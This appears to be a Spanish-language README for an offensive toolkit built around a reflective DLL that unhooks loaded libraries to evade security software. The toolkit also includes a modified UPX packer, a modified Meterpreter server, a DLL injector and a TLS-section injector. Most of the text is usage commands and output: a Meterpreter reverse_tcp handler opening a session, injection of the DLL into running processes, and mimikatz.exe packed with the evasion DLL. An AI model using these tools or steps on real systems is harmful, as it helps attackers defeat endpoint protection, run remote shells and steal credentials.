
DLL reflexiva que escanea la memoria de los procesos y desengancha las bibliotecas cargadas para evadir el software de seguridad, con integración de UPX, inyector TLS y Meterpreter.
DLLRefresher.exe es un arnés de pruebas independiente para escanear el espacio de memoria del proceso y desenganchar las bibliotecas cargadas actualmente.
Los binarios UPX empaquetados han sido modificados para admitir un parámetro adicional (-X <path/to/target.dll>) que se incrusta en el binario empaquetado. El binario final empaquetado con UPX desempaquetará el ejecutable objetivo en memoria y llamará a la DLL incrustada antes de saltar al punto de entrada original del ejecutable.
El código fuente modificado de UPX se puede encontrar en https://github.com/CylanceVulnResearch/upx/tree/reflective_dll
Uso:
upx -o <output filename> -X <path/to/embed.dll> <target executable>
Ejemplo:
upx -o packed_binary.exe -X ReflectiveDLL.x86.dll target_binary.exe
El metsrv.dll (y los plugins asociados en la carpeta meterpreter) es un servidor meterpreter modificado que desenganchará las bibliotecas cargadas actualmente antes de ejecutar la inicialización de meterpreter.
Uso:
Copie todas las DLL de la carpeta meterpreter en metasploit-framework/data/meterpreter/ y obtenga la ejecución de meterpreter en el objetivo de la forma habitual.
Ejemplo:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > run
[*] Started reverse TCP handler on 10.10.10.171:4444
[*] Starting the payload handler...
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
[*] Sending stage (1195055 bytes) to 10.10.10.186
[*] Meterpreter session 1 opened (10.10.10.171:4444 -> 10.10.10.186:58657) at 2016-10-03 10:07:39 -0400
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.dll is being used
meterpreter > WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_priv.x64.dll is being used
Inject.exe es una utilidad auxiliar para inyectar una DLL determinada en cualquier proceso.
Uso:
Inject.exe <pid> <filename>
Ejemplo:
Inject.exe 2964 ReflectiveDLLRefresher.x86.dll
[+] Injected the 'ReflectiveDLLRefresher.x86.dll' DLL into process 2964.
La DLL se puede inyectar a través de una sesión de meterpreter usando el módulo post/windows/manage/reflective_dll_inject.
Uso:
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION <session-id>
msf post(reflective_dll_inject) > set PID <pid of meterpreter session>
msf post(reflective_dll_inject) > run
Ejemplo:
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION 1
msf post(reflective_dll_inject) > set PID 4068
msf post(reflective_dll_inject) > run
[*] Running module against WIN10DEV
[*] Injecting /root/ReflectiveDLLRefresher.x86.dll into 4068 ...
[*] DLL injected. Executing ReflectiveLoader ...
[+] DLL injected and invoked.
[*] Post module execution completed
tlsInjector.py es una versión modificada del script de Borja Merino para admitir la inyección de DLL reflexiva. Tomará una DLL reflexiva y la inyectará en la sección TLS de un ejecutable de 32 bits (no se admite 64 bits).
Uso:
python tlsInjector.py -l <path/to/embed.dll> -f <target executable> -o <output filename> -t
Ejemplo:
python tlsInjector.py -l ReflectiveDLLRefresher.x86.dll -f mimikatz.exe -o mimikatz_tls.exe -t